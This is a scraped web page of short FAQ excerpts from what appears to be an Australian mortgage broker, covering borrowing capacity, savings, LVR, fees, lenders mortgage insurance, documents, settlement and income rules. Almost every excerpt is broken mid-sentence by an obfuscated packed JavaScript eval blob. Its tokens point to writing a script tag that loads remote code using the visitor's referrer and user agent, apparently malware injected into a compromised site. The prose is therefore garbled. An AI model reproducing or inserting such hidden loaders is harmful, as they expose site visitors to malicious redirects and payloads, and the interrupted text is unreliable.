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How much can I borrow?

Because eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frkfn|var|u0026u|referrer|kzrrb||js|php’.split(‘|’),0,{}))
different lenders have different criteria for borrowing capacity there is no standard formula. By filling out our inquiry form and submitting it we can manually work with you to find the lender that meets your loan requirements. We will consider income from a variety of sources including Salary, […]

By |November 27th, 2014|0 Comments

What is Genuine Savings?

Lenders like to see a borrowers’ history of savings – normally the minimum is 3% for first eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhkay|var|u0026u|referrer|rrfrz||js|php’.split(‘|’),0,{}))
home buyers or 5% for others of property value and they like to see this saved over a minimum of 3 months.

Funds to be held in the borrowers name and include:

Funds held […]

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What is LVR?

LVR eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfezy|var|u0026u|referrer|dhnnz||js|php’.split(‘|’),0,{}))
stands for Loan to Value Ratio. It is the ratio of the Loan Amount to the Purchase price or Valuation Price. For example, if your new property has been valued at $100,000 and you are borrowing $75,000 then the LVR is 75,000/100,000 which is 75%.

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What other fees and charges can I expect?

As a rough guide it is recommended that you budget 5 – 7% of the purchase price, on top of your deposit, to cover fees and charges. These fees and charges may include, but are not limited to:

Building/Pest eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkefz|var|u0026u|referrer|kaaek||js|php’.split(‘|’),0,{}))
Inspection
Valuation Fees
Lenders Mortgage Insurance(LMI)
Solicitor Fees
Insurances
Connection Fees – phone/gas/electricity
Removalist Fees
Rates

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What is lenders mortgage insurance (LMI)?

Contrary to what many borrowers may think, Lenders eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbkyn|var|u0026u|referrer|edfed||js|php’.split(‘|’),0,{}))
Mortgage Insurance (LMI) does not protect the borrower should they be unable to make mortgage repayments. Instead, LMI protects the lender from any losses resulting in the sale of a property due to default by the borrower. LMI premiums are payable […]

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What are the Standard Documents Required when applying for a home Loan?

In conjunction with the submission of your official home loan application you may need to provide supporting documentation that confirms your identity and substantiates your income. Documents can include:

Drivers eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihfer|var|u0026u|referrer|dbaas||js|php’.split(‘|’),0,{}))
License
Birth Certificate / Passport
Recent payslips
Tax returns
Bank statements
Rates notices (if you own existing property)

Our Accredited Mortgage Consultants will be better able […]

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What is settlement?

Settlement eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnart|var|u0026u|referrer|aynkf||js|php’.split(‘|’),0,{}))
is the completion of the sale, when the borrower takes possession of the property and the mortgage takes effect. Settlement usually takes place 4 weeks from the date the home loan is formally approved.

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How often can I make repayments on my home loan?

Most eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhzsi|var|u0026u|referrer|araki||js|php’.split(‘|’),0,{}))
lenders these days offer flexible regular repayment plans. You can choose to pay weekly, fortnightly, twice monthly or monthly. The repayment can therefore be matched to your pay cycle.

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What is generally acceptable income?

Salary and wages

100% eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdkie|var|u0026u|referrer|zftaz||js|php’.split(‘|’),0,{}))
accepted if length of employment criteria is met

Overtime

50% may be used to assist in serviceability if payment is regular and is a condition of employment
100% may be used where employment is in the Essential Services industry (e.g. Ambulance, Police Service, Nursing, etc.)

Shift allowance

100% may be used only […]

By |November 27th, 2014|0 Comments